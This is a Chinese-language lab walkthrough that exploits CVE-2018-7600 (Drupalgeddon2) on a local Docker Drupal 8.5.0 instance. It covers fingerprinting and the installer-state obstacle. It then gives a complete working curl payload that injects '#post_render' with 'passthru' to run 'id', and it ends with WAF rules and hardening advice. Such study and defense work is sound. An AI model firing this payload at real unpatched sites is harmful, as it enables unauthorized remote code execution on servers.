首先列出正在运行的容器：
docker ps
从 docker ps 的结果中，该实验室的容器是：
p1/lab09:latest
该容器暴露的端口是：
0.0.0.0:8011->80/tcp
这表明容器内的服务正在监听 80/tcp 端口，并映射到主机的 8011 端口。
80/tcp 端口是 HTTP 的标准端口。因此，这个目标实验室极有可能是一个 HTTP Web 应用程序。为了确认 Web 服务，我使用 curl 结合访问网页的 GUI 发送一个 HTTP 请求。
curl -i http://192.168.3.137:8011/
攻击面评估
从 HTTP 响应和 Web 界面中，识别到以下信息：
Web 服务器: Apache/2.4.25 (Debian) 后端: PHP/7.2.3 CMS: Drupal Drupal 版本: 8.5.0 安装路径: /core/install.php 对外端口: 8011 -> 80/tcp
这些信息作为重要的指纹，用于关联 CVE。具体来说，Drupal 8.5.0 是直接关联到 CVE-2018-7600 的版本，也称为 Drupalgeddon2。
根据官方 Drupal 安全公告，SA-CORE-2018-002 / CVE-2018-7600 影响以下版本：
>= 8.5.0 < 8.5.1
当前目标运行的是：
Drupal 8.5.0
因此属于受影响的版本范围。
⇒ 思考：
在这个阶段，Drupal 8.5.0 版本是识别疑似 CVE 的有力证据。 我的推理如下：
docker ps 显示该实验室通过 8011 端口暴露 HTTP 服务。curl -i 返回来自 Apache/PHP 的有效 HTTP 响应。/core/install.php。Drupal >=8.5.0 <8.5.1 受 CVE-2018-7600 影响。Drupal 8.5.0，满足测试 CVE-2018-7600 的版本条件。目标是运行在 Apache/PHP 上的 Drupal 8.5.0。根据 Drupal 的官方公告，该版本处于受 CVE-2018-7600 影响的范围内。下一步是检查实际的利用条件，以验证目标是否能够实现 RCE。
从之前的指纹识别步骤中，目标清晰地显示：Drupal 8.5.0。根据 Drupal 的官方安全公告，漏洞 SA-CORE-2018-002 / CVE-2018-7600 影响 Drupal 核心版本：
>= 8.5.0 < 8.5.1。当前目标正好运行 Drupal 8.5.0，属于受影响的版本范围。根据 Drupal 安全公告，这是一个 Drupal 核心的远程代码执行漏洞，可能允许攻击者利用多个攻击向量并导致整个站点的沦陷。
但是，你可以看到目标重定向到 /core/install.php 并且 GUI 显示 Drupal 安装界面。这表明 Drupal 可能处于未完成的安装状态。如果站点设置尚未完成，用于触发 Drupalgeddon2 的常见端点如 /user/register、/user/password 和 /user/login 可能无法正常工作。因此，有必要检查这些端点。
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login
可以看到 端點 仍然被重定向到 /core/install.php。
结论：
目标运行 Drupal 8.5.0，属于 Drupal 官方安全公告中受 CVE-2018-7600 影响的版本范围。然而，在测试时，应用程序处于安装程序状态，并持续将诸如 /user/register、/user/password 和 /user/login 之类的路由重定向到 /core/install.php。
这表明通常用于验证 Drupalgeddon2 的端点尚未像已完整安装的 Drupal 站点那样工作。因此，目标目前仅满足版本条件，但尚未满足运行时条件来演示远程代码执行。
=> 思考：
我们需要进一步证明 Drupal 在其运行时状态下能够处理易受攻击的路由/表单，攻击者可以在无需认证的情况下访问端点，并且像 id 这样的验证载荷能够成功执行。
在当前目标上，端点重定向到安装程序，因此下一步是评估 Drupal 安装界面是否创建了自己的攻击面，而不是立即得出 Drupalgeddon2 RCE 的结论。
在检查了 Drupal 运行时端点如 /user/register、/user/password 和 /user/login 均被重定向到 /core/install.php 之后，我继续进行安装界面分析。
检查支持安装程序的数据库服务
由于 Drupal 安装程序当前停留在数据库配置步骤，我检查了常见的数据库服务是否对外暴露：
nmap -sV -p 3306,5432,33060 192.168.3.137
目标当前对外暴露 Drupal 安装程序，但未检测到攻击者机器可直接访问的数据库服务。
结论： 该实验室暴露了 Drupal 8.5.0 安装程序，并且有关于易受攻击版本的信息泄露。CVE-2018-7600 是一个有效的疑似攻击向量，但尚未证明成功利用。
CVE-2018-7600 利用了 Drupal Form API 中的漏洞——这是一个利用 Render Array 结构的表单渲染系统。当处理 AJAX 请求时，Drupal 使用 element_parents 参数在表单树中定位元素，而没有检查（清理）以 # 字符开头的键。攻击者通过 POST 数据注入诸如 #post_render、#markup 和 #type 之类的属性，强制渲染引擎执行任意 PHP 函数（例如 exec、passthru、system）。
前提条件：至少有一个使用 Form API 的端点必须返回有效响应（未重定向、未受访问控制阻止），以便攻击者可以发送包含载荷的 AJAX 请求。
公开 PoC 中常用的端点：
/user/register（注册表单 - 无需登录）/user/password（忘记密码表单 - 无需登录）/user/login（登录表单 - 无需登录）在当前目标上： 上述 3 个端点均通过 302 重定向到 /core/install.php ⇒ 尚未满足
该漏洞发生在 Form API 的 AJAX 处理流程中：FormBuilder → RenderArray → #post_render 回调执行。此管道仅在 Drupal 引导所有必要的子系统（路由、表单状态、渲染引擎）时运行。
在安装程序状态下，Drupal 以最小引导模式运行——仅初始化足够显示安装表单的组件，但子系统如 路由、AJAX 处理程序和完整渲染管道 可能尚未完全激活。
在当前目标上： Drupal 处于安装程序状态 ⇒ 需要进一步验证
# 字符官方 Drupal 补丁添加了 RequestSanitizer 类及其 stripDangerousValues() 方法——扫描所有 $_GET、$_POST 和 $_COOKIE，并在引导早期阶段剥离任何以 # 开头的键。
如果目标未打补丁（运行 8.5.0），则 RequestSanitizer 类不存在 → 包含 # 的输入将不会被过滤 ⇒ 满足
结论： 目标满足版本条件和缺少补丁的条件。但是，由于 Drupal 处于安装程序状态，可用端点和完全引导条件尚未得到证实。下一步是测试安装程序表单（/core/install.php）——它也使用 Form API 和 Render Array——是否可以替代标准端点被利用。
在确定目标运行的是处于安装状态的 Drupal 8.5.0 后，通常用于利用 CVE-2018-7600 的标准端点如 /user/register、/user/password 和 /user/login 都被重定向到 /core/install.php。我想这可能是因为我尚未完成界面设置，但我仍然希望进一步调查。
经过验证，发现安装程序表单使用了相同且易受攻击的 Form API 和 Render Array 引擎。然而，AJAX 管道需要 Form Cache 才能工作——默认情况下，它使用数据库作为后端。由于当前没有数据库，对安装程序表单的 AJAX 请求在 FormBuilder.php:333 处返回 FormAjaxException，确认管道已激活但在缓存加载步骤失败。
思考： 我将使用 SQLite 安装 Drupal —— SQLite 是一种不需要专用服务器、只需对容器磁盘具有文件写入权限的数据库。
Drupal 上线后，/user/register 端点正常工作并作为注入点。载荷利用渲染数组注入机制：
element_parents=account/mail/%23value — 在表单树中定位 mail 字段mail[#post_render][]=passthru — 注入回调函数 passthru()mail[#markup]=id — 作为参数传递给 passthru() 的内容curl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"
响应分析：
结果 uid=33(www-data) 表明载荷已在操作系统上以 www-data 用户 的权限执行。这是通常用于在基于 Debian 的 Linux 上运行 Apache/PHP Web 服务器 的用户。由于 id 命令在服务器端执行并返回输出，确认了成功的远程代码执行。然而，当前权限是 www-data，并非 root，因此初始控制范围受限于 Web 服务器的权限。
端点访问控制
如果站点不需要公开用户注册，请禁用 /user/register 端点：
WAF 规则 — 阻止特征载荷
添加 WAF 规则，阻止在 POST 主体中包含诸如 #post_render、#pre_render 或 #markup 等键的请求：
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
Web 服务器的最小权限原则
Web 服务器不得以 root 权限运行。实验室结果确认进程以 uid=33(www-data) 运行——这是正确的配置，但应进行以下增强：
www-data 的写入权限严格限制在必要目录（sites/default/files/）/var/www/html/core/、/var/www/html/modules/）的文件系统挂载为只读不要将安装程序暴露到互联网
在本实验室中，安装程序是公开的——攻击者可以利用这一点使用 SQLite 重新安装 Drupal 并进行利用。生产环境需要：
/core/install.php 的访问.htaccess 规则或 Web 服务器配置，阻止外部访问 /core/install.php<Files "install.php">
Order deny,allow
Deny from all
</Files>